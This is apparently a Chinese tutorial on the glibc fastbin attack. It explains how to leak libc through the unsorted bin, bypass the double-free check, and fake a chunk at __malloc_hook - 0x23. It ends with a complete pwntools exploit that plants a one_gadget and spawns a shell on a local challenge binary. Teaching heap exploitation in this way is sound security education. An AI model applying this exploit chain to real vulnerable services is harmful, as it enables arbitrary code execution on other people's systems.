前言:本章记录 fastbin attack 这个堆利用的经典套路,梳理一下从泄露 libc 到 getshell 的完整思路>_<
0x01 什么是fastbin
先说背景:glibc的malloc用一堆bin(垃圾桶)来管理空闲chunk, fastbin是最小的一档。
管的范围:64 位程序下chunk大小≤0x80(含 0x10 的 chunk header)。
fastbin的特点:
- 单链表+LIFO:同尺寸的空闲chunk串成一条链表,后free的挂链表头,malloc 从链表头取。
- 不合并:相邻的fastbin空闲块不会合并,也不会被top吃掉。
- 检查很懒:free时基本只判断要 free 的块是不是当前链表头。
- fd写在用户数据区开头:这是命门——空闲时fd占的位置,正好是程序里edit能写到的地方。
0x02 如何实现 fastbin attack
我们最终要实现的目标只有一个,将fd指针改到目标地址。
理论上,free两次同一个块就可以达到fd指向自己的目的。

if (old == p) { // old = 当前 fastbin 链表头
error("double free or corruption (fasttop)");
}
但是,读源代码发现,只要不是连续 free 同一个块,就能过。
所以拿两个块轮着来:

这样,检查时链表头是 B ≠ A ,通过!
接着malloc一次,这时chunk1已经被分配出去了,但程序里ptr[0]还指着它(free 之后没置空)——于是我们还能用edit写chunk1的内容,也就是改写chunk1的fd。
0x03 fastbin实战
泄露libc基址
首先申请一个大小符合要求的大chunk,free释放之后,这块chunk就会被放进unsorted bin链表。
刚进入unsorted bin的堆块,它的bk指针是指向chunk本身的。我们利用漏洞读出这个bk存放的地址,这个地址属于libc里main_arena区域。
我们拿读到的这个地址,减去main_arena对应的固定偏移,就能算出libc的基地址,成功完成libc泄露,为后续堆利用打下基础。

那为什么我们额外再申请一块0x10大小的chunk呢?核心目的就是阻止目标大堆块被free之后,和上下相邻的空闲块发生合并。
一旦发生合并,我们准备用来泄露libc的那块unsorted bin chunk就被破坏,就没法拿到main_arena地址。


在调试器里,我们能够查看 bins 内第一个 chunk 指向的 main_arena 地址,这个地址属于 libc 内部。拿到这个地址之后减去 libc 的基地址,就能算出对应的偏移量。
double free + 改fd
接下来我们只要申请两块chunk,交替释放,修改chunk0的fd指针指向__malloc_hook。之后连续三次调用malloc申请堆内存,就能成功分配到我们目标的hook地址上。

那为什么咱们要选 __malloc_hook – 0x23 这个地址呢?这就要说到 fastbin 的 size 校验了。
/* 进入 fastbin 的分配路径 */
if ((victim = *fb) != NULL)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
/* ... */
*fb = victim->fd;
check_remalloced_chunk (av, victim, nb);
return chunk2mem (victim);
}
malloc 在分配 fastbin 堆块的时候,会校验 fake chunk 的 size 是否匹配当前申请对应的 fastbin 索引。
在 libc2.23 的内存布局里面,malloc_hook 往前偏移 0x23 的位置,刚好天然自带 size 字段 0x7f,落在 0x70~0x7f 这个区间,刚好匹配我们申请 0x68 对应的 fastbin(chunk size=0x70),成功绕过 size 检查。

接下来伪造 fake chunk 填充, 首先填充0x13的垃圾字节,是因为 fake chunk 的位置是 __malloc_hook – 0x23,还要再算上 chunk 本身占 0x10 字节的头部,所以前面填充占位之后,刚好对准 __malloc_hook,用来写入 one_gadget。
为什么三个 gadget 选第 3 个呢?one_gadget 都带约束(如 [rsp+0x30] == NULL),前两个没满足,第三个能过——实战就是挨个试,哪个成了用哪个。

one_gadget 直接在终端执行命令就能查找,执行完我们就能看到结果,里面就包含可以直接拿到 shell 的 execve(“/bin/sh”) 指令地址。
照这个顺序跑,最后一次 add_chunk 就会在 malloc 入口撞上 _malloc_hook,跳到 one_gadget,拿到shell啦。
完整exp
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
def add_chunk(index, size):
p.sendafter("choice:", "1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))
def delete_chunk(index):
p.sendafter("choice:", "2")
p.sendafter("index:", str(index))
def edit_chunk(index, content):
p.sendafter("choice:", "3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)
def show_chunk(index):
p.sendafter("choice:", "4")
p.sendafter("index:", str(index))
add_chunk(0, 0x200)
add_chunk(1, 0x10)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'1.')[-9:-3].ljust(8, b'\x00'))- 0x39bb78
info("libc base:" + hex(libc.address))
add_chunk(0, 0x68)
add_chunk(1, 0x68)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
payload = flat([p64(libc.sym['__malloc_hook'] - 0x23)])
edit_chunk(0 ,payload)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
one_gadget = libc.address + [0x3f3e6, 0x3f43a, 0xd5c07][2]
payload = flat([b'A'*0x13, one_gadget])
edit_chunk(0, payload)
add_chunk(0, 0x1234)
gdb.attach(p)
p.interactive()
将以上片段拼凑一下就能够得到完整的 exp。
写到这里,就能成功获取程序的交互式shell啦!
小结
总的来说,fastbin attack 的骨架就是double free制造重复块 + 改fd把链表引到目标。
评论(0)
暂无评论